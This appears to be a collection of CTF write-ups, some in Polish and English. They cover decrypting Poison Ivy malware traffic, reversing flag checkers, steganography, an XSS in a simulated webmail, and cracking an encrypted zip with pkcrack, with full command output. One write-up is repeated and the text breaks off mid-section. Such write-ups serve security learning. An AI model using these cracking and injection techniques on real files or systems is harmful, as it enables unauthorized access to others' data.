Poison Ivy is 'admin' which will allow us to decrypt the traffic in the PCAP. Luckily MITRE's [ChopShop framework](https://github.com/MITRECND/chopshop) allows us to easily process the PCAP using [FireEye's Poison Ivy 2.3.x module](https://github.com/MITRECND/chopshop/blob/master/modules/poisonivy_23x.py) and extract whatever contents the malware traffic holds. We use ChopShop in the following manner to decrypt and dump the traffic and extract any transmitted files from it: ```bash$ ./chopshop -f net.pcap -s ./ "poisonivy_23x -c -w admin"Warning Legacy Module poisonivy_23x!Starting ChopShop (Created by MITRE)Initializing Modules ... Initializing module 'poisonivy_23x'Running Modules ...[2015-09-04 04:43:44 EDT] Poison Ivy Version: 2.32[2015-09-04 04:43:44 EDT] *** Host Information ***PI profile ID: ctfIP address: 192.168.0.100Hostname: ADMIN-PCWindows User: AdministratorWindows Version: Windows XPWindows Build: 2600Service Pack: Service Pack 3[2015-09-04 04:43:58 EDT] *** Directory Listing Initiated ***Directory: C:\WINDOWS\[2015-09-04 04:43:58 EDT] *** Directory Listing Sent ***[2015-09-04 04:44:57 EDT] *** Service Listing Sent ***[2015-09-04 04:45:06 EDT] *** Screen Capture Sent ***PI-extracted-file-1-screenshot.bmp saved..Shutting Down Modules ... Shutting Down poisonivy_23xModule Shutdown Complete ...ChopShop Complete``` The extracted screenshot file provides us with the flag: ![alt screenshot](PI-extracted-file-1-screenshot.bmp)
## Try Harder (re, 300p) ### PL[ENG](#eng-version) Dostajemy [program](./re300) (elf), do zbadania. W przeciwieństwie do poprzedniego programu tutaj wiemy (czyżby?) od razu co powinniśmy zrobić - podajemy jakiś tekst (flagę) jako parametr w linii poleceń, a program wykonuje kilka sprawdzeń i odpowiada czy flaga jest OK czy nie. Zaczynamy więc analizę testów przeprowadzanych na fladze (od teraz będę używać sformułowań "flaga" i "wprowadzony parametr" zamiennie), jak leci: ```c++if ( argc != 2 || strlen(argv[1]) > 0x64 ) { tryharder(); // wypisanie błędu i zakończenie działania}``` Test zerowy, sprawdzenie czy flaga nie jest dłuższa niż 0x64 znaki. Oczywiście trywialnie go spełnić (nie podawać dłuższej flagi). ```c++bool check_1(char *flag) { int i; for (i = 0; flag[i]; ++i); return i == 37;}``` Test pierwszy - sprawdzenie czy flaga ma dokładnie 37 znaków długości. Również banalnie go spełnić, starczy podać programowi flagę o odpowiedniej długości. Kolejny test (za dużo kodu jak na prosty koncept) - sprawdza czy flaga matchuje do wzorca `DCTF{[A-Za-z0-9]`. I trzeci test podobny - dzieli 32 znaki flagi znajdujące się za `DCTF{` na 4bajtowe fragmenty, i każdy z nich matchuje z regexem - każdy 4bajtowy blok musiał pasować do odpowiedniego z tych regexów (w kolejności): '^9[0-2]6[4-7]' '^[0-5][0-6][b-c]5' '^0[1-6][1-6][1-6]' '^[6-9]0b0' '^a[0-6]' '^47[e-f]c' '^47[2-f][2-3]' '^5[e-f]8[e-f]' Zaimplementowaliśmy nawet generator wszystkich możliwych flag w pythonie, co okazało sie kompletnie niepotrzebne. To był ostatni test - w tym momencie program mówi "Well done" po podaniu flagi. Niestety, co nas bardzo zaskoczyło, strona odrzucała dalej naszą flagę. Dopiero po chwili zorientowaliśmy się, że program nie kończy sie od razu po wyjściu z funkcji 'main' - są jeszcze destruktory. A w destruktorach leżał kod odpowiadający czemuś takiemu: ```c++int check(char *s) { signed int i; uint32_t v2_0 = 0; uint64_t v2_1 = 0; v2_0 = strlen(s); for ( i = 5; i < v2_0; ++i ) { v2_1 += -3 * s[i] + 36 + (int64_t)(s[i] ^ 0x2FCFBA); } int64_t result = v2_1 - 74431661 * (((int64_t)((unsigned __int128)((unsigned __int128)8315950649585666743LL * (unsigned __int128)v2_1) >> 64) >> 25) - (v2_1 >> 63)); return result == 25830287;}``` Wygląda to na skomplikowane działania, nawet nie próbowaliśmy tutaj nic reversować. Za to po prostu napisaliśmy bruferorcer w C++, który generował możliwe flagi, i sprawdzał dla każdej czy przechodzi ona funkcję 'check'. W ten sposób dość szybko znaleźliśmy "prawdziwą" flagę, przyjmowaną przez stronę (która również nie była unikalna): DCTF{906400b5011160b0a19f47ec47b35f8f ### ENG version We get a [binary](./re300) (elf), do work with. Unlike in previous task, this time we know (do we really?) what to do from the beginning - we input some text (we assume a flag) as a parameter in command line and the program checks it and tells us if the flag is good or not. We start the analysis of the tests that are performed on the flag (from now on I will use `flag` and `input parameter` to name the same thing), as follows: ```c++if ( argc != 2 || strlen(argv[1]) > 0x64 ) { tryharder(); // print error and exit}``` Test zero, we check if the flag is not longer than 0x64 characters. Trivial to do (just don't input longer flag). ```c++bool check_1(char *flag) { int i; for (i = 0; flag[i]; ++i); return i == 37;}``` Test one - check if the flag has exactly 37 characters. Easy to fulfill, we just need to input flag with exactly the right length. Next test (too much code for this simple rule, we just provide the pattern) - check if the flag matches `DCTF{[A-Za-z0-9]`. Third test is similar - splits 32 characters of the flag that are after `DCTF{` into 4-byte parts and each one of them is matched with a regular expression - each part had to match following pattern (in order): '^9[0-2]6[4-7]' '^[0-5][0-6][b-c]5' '^0[1-6][1-6][1-6]' '^[6-9]0b0' '^a[0-6]' '^47[e-f]c' '^47[2-f][2-3]' '^5[e-f]8[e-f]' We even implemented a generator for all possible flags in python, which turned out not useful in the end. This was the lats test - now the binary was printing `Well done` after we put the flag. Unfortunately, surprisingly for us, the website was rejecting our flag. After a while we realised that the program in fact does not end right after leaving `main` function - there are destructors. In the destructors there was a code: ```c++int check(char *s) { signed int i; uint32_t v2_0 = 0; uint64_t v2_1 = 0; v2_0 = strlen(s); for ( i = 5; i < v2_0; ++i ) { v2_1 += -3 * s[i] + 36 + (int64_t)(s[i] ^ 0x2FCFBA); } int64_t result = v2_1 - 74431661 * (((int64_t)((unsigned __int128)((unsigned __int128)8315950649585666743LL * (unsigned __int128)v2_1) >> 64) >> 25) - (v2_1 >> 63)); return result == 25830287;}``` This looks like some complex calculations, so we didn't even try to reverse this. We just wrote a brute-force code in C++ which was generating possible flags and checking this condition on them. This was we found the real flag quite fast (it was still not really unique): DCTF{906400b5011160b0a19f47ec47b35f8f
## Start SECCON CTF (Exercise, 50p) ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF} quiz Cipher:A}FFDNEVPFSGV}KZPN}GO Plain: ????????????????????? ###PL[ENG](#eng-version) Bardzo proste rozgrzewkowe zadanie. Szyfr który widać że jeden wejścia zawsze odpowiada takiemu samemu znaku wyjścia. Flaga: SECCON{HACKTHEPLANET} Rozwiązanie - zdekodowaliśmy ciphertext po prostu ręcznie. ### ENG version Very easy exercise. It's obvious that in given cipher each ciphertext character is always decoded to the same character. Flag: SECCON{HACKTHEPLANET} Solution - we just did the decoding by hand.
#Julian Cohen **Category:** Recon**Points:** 100**Description:** N/A ##Write-upThis is as easy as it gets. Google it. ![Image of google](./Images/google.png) In case you missed it the flag shows up on the 1st results page within the ```@HockeyInJune``` Twitter account as ```flag{f7da7636727524d8681ab0d2a072d663}```
## Seccon Wars (Stegano, 100p) https://youtu.be/8SFsln4VyEk ###PL[ENG](#eng-version) Na filmie wideo zalinkowanym w zadaniu wyraźnie widać zarysy QR CODE, ale jest on zbyt rozmazany by odczytać go bezpośrednio. Po chwili zastanowienia (jednym z pomysłów było ręczne naprawianie QR kodu "w paincie") wpadliśmy na pomysł uśrednienia wartości piksela dla wielu screenów i odczytania qr codu z takiego uśrednionego obrazu (powinien być czytelniejszy wtedy) Najpierw napisaliśmy program w C# robiący screeny przeglądarki, żeby mieć co uśredniać: ```csharpprivate class User32 { [StructLayout(LayoutKind.Sequential)] public struct Rect { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);} public void CaptureApplication(string procName, int i) { var proc = Process.GetProcessesByName(procName)[0]; var rect = new User32.Rect(); User32.GetWindowRect(proc.MainWindowHandle, ref rect); int width = rect.right - rect.left; int height = rect.bottom - rect.top; var bmp = new Bitmap(width, height, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bmp); graphics.CopyFromScreen(rect.left, rect.top, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); bmp.Save("frame" + i + ".png", ImageFormat.Png);} protected override void OnLoad(EventArgs e) { int i = 0; while (true) { i++; CaptureApplication("firefox", i); Thread.Sleep(100); } base.OnLoad(e);}``` A następnie niewielki skrypt uśredniający obrazy z folderu (szczerze mówiąc, to tak naprawdę to skopiowaliśmy go z SO): ```pythonimport os, numpy, PILfrom PIL import Image # Access all PNG files in directoryallfiles=os.listdir(os.getcwd())imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]] # Assuming all images are the same size, get dimensions of first imagew,h=Image.open(imlist[0]).sizeN=len(imlist) # Create a numpy array of floats to store the average (assume RGB images)arr=numpy.zeros((h,w,3),numpy.float) # Build up average pixel intensities, casting each image as an array of floatsfor im in imlist: imarr=numpy.array(Image.open(im).convert("RGB"),dtype=numpy.float) arr=arr+imarr/N # Round values in array and cast as 8-bit integerarr=numpy.array(numpy.round(arr),dtype=numpy.uint8) # Generate, save and preview final imageout=Image.fromarray(arr,mode="RGB")out.save("Average.png")out.show()``` Wynik działania: ![](Average.png) Po poprawieniu kontrastu, odczytujemy wynik: SECCON{TH3F0RC3AVVAK3N53P7} ### ENG version In video linked in the description we can clearly see outline of QR CODE, but it's too dark to be read directly After a while (one of our first ideas was to draw qr code by hand in mspaint), we decided to capture a lot of video frames and average all pixels. First, we have written C# script to take browser screenshot every 0.1s: ```csharpprivate class User32 { [StructLayout(LayoutKind.Sequential)] public struct Rect { public int left; public int top; public int right; public int bottom; } [DllImport("user32.dll")] public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);} public void CaptureApplication(string procName, int i) { var proc = Process.GetProcessesByName(procName)[0]; var rect = new User32.Rect(); User32.GetWindowRect(proc.MainWindowHandle, ref rect); int width = rect.right - rect.left; int height = rect.bottom - rect.top; var bmp = new Bitmap(width, height, PixelFormat.Format32bppArgb); Graphics graphics = Graphics.FromImage(bmp); graphics.CopyFromScreen(rect.left, rect.top, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); bmp.Save("frame" + i + ".png", ImageFormat.Png);} protected override void OnLoad(EventArgs e) { int i = 0; while (true) { i++; CaptureApplication("firefox", i); Thread.Sleep(100); } base.OnLoad(e);}``` And then tiny script to average every pixel and save result (to be honest, we just stole it from SO): ```pythonimport os, numpy, PILfrom PIL import Image # Access all PNG files in directoryallfiles=os.listdir(os.getcwd())imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]] # Assuming all images are the same size, get dimensions of first imagew,h=Image.open(imlist[0]).sizeN=len(imlist) # Create a numpy array of floats to store the average (assume RGB images)arr=numpy.zeros((h,w,3),numpy.float) # Build up average pixel intensities, casting each image as an array of floatsfor im in imlist: imarr=numpy.array(Image.open(im).convert("RGB"),dtype=numpy.float) arr=arr+imarr/N # Round values in array and cast as 8-bit integerarr=numpy.array(numpy.round(arr),dtype=numpy.uint8) # Generate, save and preview final imageout=Image.fromarray(arr,mode="RGB")out.save("Average.png")out.show()``` And the result is: ![](Average.png) After improving contrast and decoding QR CODE: SECCON{TH3F0RC3AVVAK3N53P7}
##Bonsai XSS Revolutions (Web/Network, 200p) >What is your browser(User-Agent)? >[hakoniwaWebMail_20151124.zip](hakoniwaWebMail_20151124.zip) >Requirement:.NET Framework 4.5 ###PL[ENG](#eng-version) Załączona do zadania była mocno zobfuskowana aplikacja .NETowa. Była to symulacja przeglądarki, w której użytkownik logował się do swojej poczty. ![](./app.png) Z początku postanowiliśmy powalczyć z samą aplikacją. Częściowo udało nam sie zdeobfuskować plik wykonywalny narzędziem `de4dot`. Następnie utworzyliśmy nową aplikację .NETową i załadowaliśmy oryginalny program za pomocą refleksji: ```csharpvar assembly = Assembly.LoadFile("hakoniwaWebMail.exe");``` To pozwoliło nam ręcznie tworzyć instancje klas i wywoływać metody. W głównej przestrzeni nazw były dwie formy: `FLAGgenerator` i `frmMain`. Pierwsza dała nam flagę, ale była fejkowa. Druga była faktycznie główną formą aplikacji i stworzenie jej instancji oraz pokazanie jej równało się wywołaniu całej naszej symulacji - z tą różnicą, że teraz mogliśmy się z nią pobawić: ```csharpvar form = (hakoniwaWebMail.frmMain)Activator.CreateInstance(assembly.GetTypes()[7]);var browser = (WebBrowser)GetControls(form)[7];``` Dzięki temu mogliśmy zrzucić zawartość wyświetlonej strony w zintegrowanej/symulowanej przeglądarce: ```csharpConsole.WriteLine(browser.DocumentText);``` Ale jedyne co dostaliśmy to: ```html<html><style>.b{font-weight:bold;}(...)</style><body><script>var navigator=new Object;navigator.userAgent='This is NOT a flag. Use XSS to obtain it.';</script><table border=3 cellspacing=0 cellpadding=0 width=100% height=100%>(...)``` Jedną możliwością na tym etapie było zagłębienie się w zaobfuskowaną aplikację i zreverseengineerowanie jej, a drugą było przeczytanie jeszcze raz nazwy zadania, jej kategorii oraz punktów: XSS, web, 200p. No więc, jeżeli aplikacja faktycznie była symulowanym webmailem to może da się wysłać tam maila. I faktycznie tak było: był to również serwer pocztowy działający na standardowym porcie 25: ```TCP 127.0.0.1:25 0.0.0.0:0 LISTENING 6512[hakoniwaWebMail.exe]``` Próbowaliśmy XSS na kilku z nagłówków w wiadomości aż w końcu zadziałał z polem `Date`. ![](./solution.png) `SECCON{TsuriboriWebBros/2015.12.17620} ### ENG version Attached was a heavily obfuscated .NET application. It was a simulated webbrowser in which a user logged in to his webmail. ![](./app.png) At first we tried to tacke the application itself. We partly managed to deobfuscate the binary with a `de4dot` tool. Then we created another .NET application and loaded the original program by reflection: ```csharpvar assembly = Assembly.LoadFile("hakoniwaWebMail.exe");``` That allows us to manually instantiate classes and invoke methods. There were two form classes in the main namespace: `FLAGgenerator` and `frmMain`. The former gave us a flag, but it was a fake. The former was indeed the main form of the app and instantiating the class and showing the form basically run the whole simulation but now we could interact with it: ```csharpvar form = (hakoniwaWebMail.frmMain)Activator.CreateInstance(assembly.GetTypes()[7]);var browser = (WebBrowser)GetControls(form)[7];``` That way we could simply dump the contents of displayed page in the integrated/simulated webbrowser: ```csharpConsole.WriteLine(browser.DocumentText);``` But all we got was: ```html<html><style>.b{font-weight:bold;}(...)</style><body><script>var navigator=new Object;navigator.userAgent='This is NOT a flag. Use XSS to obtain it.';</script><table border=3 cellspacing=0 cellpadding=0 width=100% height=100%>(...)``` One possibility at this point was to dig deep in the obfuscated application and reverse engineer it and another to read the task name, category and points again: XSS, web, 200p. Well then, if the application is a simulated webmail, maybe we can send an actual email. And there it was: it was also a mail server running on standard port 25: ```TCP 127.0.0.1:25 0.0.0.0:0 LISTENING 6512[hakoniwaWebMail.exe]``` We tried several mail headers for the XSS and it finally worked with the `Date` header. ![](./solution.png) `SECCON{TsuriboriWebBros/2015.12.17620}
##QR puzzle (Nonogram) (Misc, 300p) >Solve a puzzle 30 times >http://qrlogic.pwn.seccon.jp:10080/game/ ###PL[ENG](#eng-version) Zadanie było proste: dostajemy losowo wygenerowany nonogram, rozwiązujemy go otrzymując qrcode, dekodujemy go i przechodzimy do następnej rundy. Jeżeli uda nam się dotrzeć do końca to otrzymujemy flagę. ![](./nonogram.png) Sama gra nie jest tutaj bardzo ważna: miało dla nas znaczenie tylko to, że było dostępnych kilka gotowych solverów. Losowo użyliśmy tego: http://jwilk.net/software/nonogram. Jako że było sporo rund zdecydowaliśmy się napisać w pełni automatyczny solver. Pierwszym zadaniem było sparsowanie strony i pobranie liczb nonogramu. ```pythonimport requestsfrom bs4 import BeautifulSoupimport re session = requests.Session() source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').contentsoup = BeautifulSoup(source) print re.findall('Stage: (\d+) / 30', source) def parse(cls): return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)] rows = parse('rows')cols = parse('cols')``` Następna część to przekazanie tych danych do faktycznego solvera: ```pythonfrom pwn import * solver = process('nonogram-0.9/nonogram')solver.sendline("%d %d" % (len(cols), len(rows))) for row in rows: solver.sendline(' '.join(row)) for col in cols: solver.sendline(' '.join(col)) solver.shutdown()``` I otrzymanie wyniku: ```pythonqr_text = []for i in range(0, len(rows)): solver.recvuntil('|') qr_text.append(solver.recvuntil('|')[:-1])``` Który na tym etapie wyglądał tak: ![](./qrcode.png) To tekst, a my musimy skonwertować go na faktyczny obrazek z qrcode: ```pythonfrom PIL import Image, ImageDraw size = 20image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))draw = ImageDraw.Draw(image) for i in range(0, len(qr_text)): for j in range(0, len(qr_text[0]) / 2): pos = ((j * size, i * size), (j * size + size, i * size + size)) draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white') image.save('qrcode.png')``` Możemy go teraz przeczytać: ```pythonimport qrtools qr = qrtools.QR()qr.decode('qrcode.png')return qr.data``` Wysłać i powtórzyć cały proces.```pythonanswer = ''for i in range(0, 100): get_image(answer) answer = get_qrcode() print answer``` Solver nie był idealny - musieliśmy go uruchomić kilka razy, ale po kilku minutach otrzymaliśmy flagę. `SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}` ### ENG version Task details are simple: we get a randomly generated nonogram, we solve it and with that get a qr code, we decode it and get to the next round. If we manage to get to the end we're given the flag. ![](./nonogram.png) The game itself isn't very important here: all that mattered to us was that there were several solvers available. We randomly chose this one: http://jwilk.net/software/nonogram. As there were many stages we opted in for a fully automated solver. First task was to parse the webpage and get the nonogram numbers. ```pythonimport requestsfrom bs4 import BeautifulSoupimport re session = requests.Session() source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').contentsoup = BeautifulSoup(source) print re.findall('Stage: (\d+) / 30', source) def parse(cls): return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)] rows = parse('rows')cols = parse('cols')``` Next part was to pass these to the actual solver: ```pythonfrom pwn import * solver = process('nonogram-0.9/nonogram')solver.sendline("%d %d" % (len(cols), len(rows))) for row in rows: solver.sendline(' '.join(row)) for col in cols: solver.sendline(' '.join(col)) solver.shutdown()``` And get the result: ```pythonqr_text = []for i in range(0, len(rows)): solver.recvuntil('|') qr_text.append(solver.recvuntil('|')[:-1])``` Which at this point looked like this: ![](./qrcode.png) That's text and we need to convert it to a proper qrcode image: ```pythonfrom PIL import Image, ImageDraw size = 20image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))draw = ImageDraw.Draw(image) for i in range(0, len(qr_text)): for j in range(0, len(qr_text[0]) / 2): pos = ((j * size, i * size), (j * size + size, i * size + size)) draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white') image.save('qrcode.png')``` We can now read it: ```pythonimport qrtools qr = qrtools.QR()qr.decode('qrcode.png')return qr.data``` Send it and repeat the whole process:```pythonanswer = ''for i in range(0, 100): get_image(answer) answer = get_qrcode() print answer``` The solver wasn't perfect: we had to rerun it several times, but after few minutes we got the flag. `SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}`
## SECCON: unzip ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| SECCON | unzip | crypto | 100 | *Description*> Unzip the file ----------## Write-up In the zip file there are three files: >```>backnumber08.txt>backnumber09.txt>flag.txt>``` After some searching we come across the pkcrack utility [here](https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html). It is able to crack a zipfile if we can abtain a plaintext for one of the files. Luckily we can find backnumber08.txt and backnumber09.txt online: - http://2014.seccon.jp/mailmagazine/backnumber09.txt- http://2014.seccon.jp/mailmagazine/backnumber08.txt Using these and the pkcrack we can decrypt the files. For this attack to work the files need to be zipped using the exact same algorithm: >```>$ unzip -v unzip>Archive: unzip> Length Method Size Cmpr Date Time CRC-32 Name>-------- ------ ------- ---- ---------- ----- -------- ----> 14182 Defl:N 5288 63% 2015-11-30 08:23 30b7a083 backnumber08.txt> 12064 Defl:N 4839 60% 2015-11-30 08:22 b93d9a46 backnumber09.txt> 22560 Defl:N 11021 51% 2015-12-01 07:21 fcd63eb6 flag>-------- ------- --- -------> 48806 21148 57% 3 files>``` After some fidgeting: >```>$ zip -6 out.zip backnumber09.txt backnumber08.txt ; unzip -v out.zip> adding: backnumber09.txt (deflated 60%)> adding: backnumber08.txt (deflated 63%)>Archive: out.zip> Length Method Size Cmpr Date Time CRC-32 Name>-------- ------ ------- ---- ---------- ----- -------- ----> 12064 Defl:N 4839 60% 2015-12-05 15:56 b93d9a46 backnumber09.txt> 14182 Defl:N 5288 63% 2015-12-05 15:56 30b7a083 backnumber08.txt>-------- ------- --- -------> 26246 10127 61% 2 files>``` Now that we have the same files zipped but in plaintext pkcrack can preform a known plaintext attack: >```>$ pkcrack-1.2.2/src/pkcrack -C unzip -c backnumber08.txt -P out.zip -p backnumber08.txt -d plain -a>Files read. Starting stage 1 on Sun Dec 6 15:09:15 2015>Generating 1st generation of possible key2_5299 values...done.>Found 4194304 possible key2-values.>Now we're trying to reduce these...>Lowest number: 984 values at offset 970>Lowest number: 932 values at offset 969>Lowest number: 931 values at offset 967>Lowest number: 911 values at offset 966>Lowest number: 906 values at offset 965>Lowest number: 904 values at offset 959>Lowest number: 896 values at offset 955>Lowest number: 826 values at offset 954>Lowest number: 784 values at offset 606>Lowest number: 753 values at offset 206>Done. Left with 753 possible Values. bestOffset is 206.>Stage 1 completed. Starting stage 2 on Sun Dec 6 15:09:26 2015>Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a>Probabilistic test succeeded for 5098 bytes.>Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a>Probabilistic test succeeded for 5098 bytes.>Stage 2 completed. Starting zipdecrypt on Sun Dec 6 15:09:49 2015>Decrypting backnumber08.txt (5315a01322ab296c211eecba)... OK!>Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)... OK!>Decrypting flag (34e4d2ab7fe1e2421808bab2)... OK!>``` Now that we have it unzipped we can just unzip the flag file and open it in libleoffice and change the text color to find the flag: >```>SECCON{1s_th1s_passw0rd_weak?}>```
## Steganography 1 (Stegano, 100p) Find image files in the file ![](MrFusion.gpjb) Please input flag like this format-->SECCON{*** ** **** ****} ###PL[ENG](#eng-version) Dostajemy plik o rozszerzeniu .gpjb. Polecenie `file` rozpoznaje go jako gif: ![](out.0.gif) Ale po otworzeniu tego pliku w hexedytorze okazuje się że plik ten składa się w rzeczywistości z dużej liczby obrazów sklejonych w jeden.Domyślamy się że "gpjb" pochodzi od rozszerzeń .gif, .png, .jpg oraz .bmp. Piszemy na szybko skrypt w pythonie który dzieli te pliki na fragmenty (szukając odpowiednich headerów formatów): ```pythonimport re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0'} for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:])``` Następnie uruchamiamy go i otrzymujemy sporo obrazów, z których każdy odpowiada jednemu znakowi: ![](folder.png) Po przepisaniu: SECCON{OCT2120150728} Z powodu błedu w zadaniu flaga nie przechodziła sprawdzenia, więc do opisu zadania doszła informacja o wymaganym formacie flagi, więc ostateczna flaga: SECCON{OCT 21 2015 0728} ### ENG version We are given a file with .gpjb extension. `File` command recognises it as a gif: ![](out.0.gif) But after checking the file in hexeditor it turns out that the file is composed of large number of concantenated images.We guess that "gpjb" extension stands for gif, png, jpg and bmp file formats. We have written quick and dirty script to split file into fragments (according to format headers): ```pythonimport re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0'} for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:])``` After execution, script generated a lot of images, each of which represented single flag character: ![](folder.png) After rewrite: SECCON{OCT2120150728} But because of bug in challenge checker, flag was not accepted by server. After that, description of challenge was changed, and final, accepted flag is: SECCON{OCT 21 2015 0728}
##QR puzzle (Nonogram) (Misc, 300p) >Solve a puzzle 30 times >http://qrlogic.pwn.seccon.jp:10080/game/ ###PL[ENG](#eng-version) Zadanie było proste: dostajemy losowo wygenerowany nonogram, rozwiązujemy go otrzymując qrcode, dekodujemy go i przechodzimy do następnej rundy. Jeżeli uda nam się dotrzeć do końca to otrzymujemy flagę. ![](./nonogram.png) Sama gra nie jest tutaj bardzo ważna: miało dla nas znaczenie tylko to, że było dostępnych kilka gotowych solverów. Losowo użyliśmy tego: http://jwilk.net/software/nonogram. Jako że było sporo rund zdecydowaliśmy się napisać w pełni automatyczny solver. Pierwszym zadaniem było sparsowanie strony i pobranie liczb nonogramu. ```pythonimport requestsfrom bs4 import BeautifulSoupimport re session = requests.Session() source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').contentsoup = BeautifulSoup(source) print re.findall('Stage: (\d+) / 30', source) def parse(cls): return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)] rows = parse('rows')cols = parse('cols')``` Następna część to przekazanie tych danych do faktycznego solvera: ```pythonfrom pwn import * solver = process('nonogram-0.9/nonogram')solver.sendline("%d %d" % (len(cols), len(rows))) for row in rows: solver.sendline(' '.join(row)) for col in cols: solver.sendline(' '.join(col)) solver.shutdown()``` I otrzymanie wyniku: ```pythonqr_text = []for i in range(0, len(rows)): solver.recvuntil('|') qr_text.append(solver.recvuntil('|')[:-1])``` Który na tym etapie wyglądał tak: ![](./qrcode.png) To tekst, a my musimy skonwertować go na faktyczny obrazek z qrcode: ```pythonfrom PIL import Image, ImageDraw size = 20image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))draw = ImageDraw.Draw(image) for i in range(0, len(qr_text)): for j in range(0, len(qr_text[0]) / 2): pos = ((j * size, i * size), (j * size + size, i * size + size)) draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white') image.save('qrcode.png')``` Możemy go teraz przeczytać: ```pythonimport qrtools qr = qrtools.QR()qr.decode('qrcode.png')return qr.data``` Wysłać i powtórzyć cały proces.```pythonanswer = ''for i in range(0, 100): get_image(answer) answer = get_qrcode() print answer``` Solver nie był idealny - musieliśmy go uruchomić kilka razy, ale po kilku minutach otrzymaliśmy flagę. `SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}` ### ENG version Task details are simple: we get a randomly generated nonogram, we solve it and with that get a qr code, we decode it and get to the next round. If we manage to get to the end we're given the flag. ![](./nonogram.png) The game itself isn't very important here: all that mattered to us was that there were several solvers available. We randomly chose this one: http://jwilk.net/software/nonogram. As there were many stages we opted in for a fully automated solver. First task was to parse the webpage and get the nonogram numbers. ```pythonimport requestsfrom bs4 import BeautifulSoupimport re session = requests.Session() source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').contentsoup = BeautifulSoup(source) print re.findall('Stage: (\d+) / 30', source) def parse(cls): return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)] rows = parse('rows')cols = parse('cols')``` Next part was to pass these to the actual solver: ```pythonfrom pwn import * solver = process('nonogram-0.9/nonogram')solver.sendline("%d %d" % (len(cols), len(rows))) for row in rows: solver.sendline(' '.join(row)) for col in cols: solver.sendline(' '.join(col)) solver.shutdown()``` And get the result: ```pythonqr_text = []for i in range(0, len(rows)): solver.recvuntil('|') qr_text.append(solver.recvuntil('|')[:-1])``` Which at this point looked like this: ![](./qrcode.png) That's text and we need to convert it to a proper qrcode image: ```pythonfrom PIL import Image, ImageDraw size = 20image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))draw = ImageDraw.Draw(image) for i in range(0, len(qr_text)): for j in range(0, len(qr_text[0]) / 2): pos = ((j * size, i * size), (j * size + size, i * size + size)) draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white') image.save('qrcode.png')``` We can now read it: ```pythonimport qrtools qr = qrtools.QR()qr.decode('qrcode.png')return qr.data``` Send it and repeat the whole process:```pythonanswer = ''for i in range(0, 100): get_image(answer) answer = get_qrcode() print answer``` The solver wasn't perfect: we had to rerun it several times, but after few minutes we got the flag. `SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}`
## Reverse 200 (re, 200p) ### PL[ENG](#eng-version) Dostajemy [program](./r200) (elf konkretnie), który, podobnie jak poprzedni, wykonuje sprawdzenie hasła i odpowiada czy hasło jest poprawne czy nie. Domyślamy się że poprawne hasło jest flagą. Cały program to coś w rodzaju: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } Patrzymy więc w funkcję check_password. W bardzo dużym uproszczeniu (tak naprawde nie było tu żadnych funkcji wywoływanych, wszystko inlinowane: bool check_password(char *password) { int buf[6]; int reqired[6] = { 5, 2, 7, 2, 5, 6 }; for (int i = 0; i <= 5; i++) { buf[i] = get_from_assoc(list, password[i]); } for (int i = 0; i <= 5; i++) { if (buf[i] != required[i]) { return true; } } return false; } Gdzie list to globalna zmienna - lista asocjacyjna, wyglądająca mniej więcej tak (w nie-C składni): { 'm': 0, 'n': 1, 'o': 2, 'p': 3, 'q': 4, 'r': 5, 's': 6, 't': 7, 'u': 8, 'v': 9, 'w': 10, 'x': 11, 'y': 12, 'z': 13 } Z tego 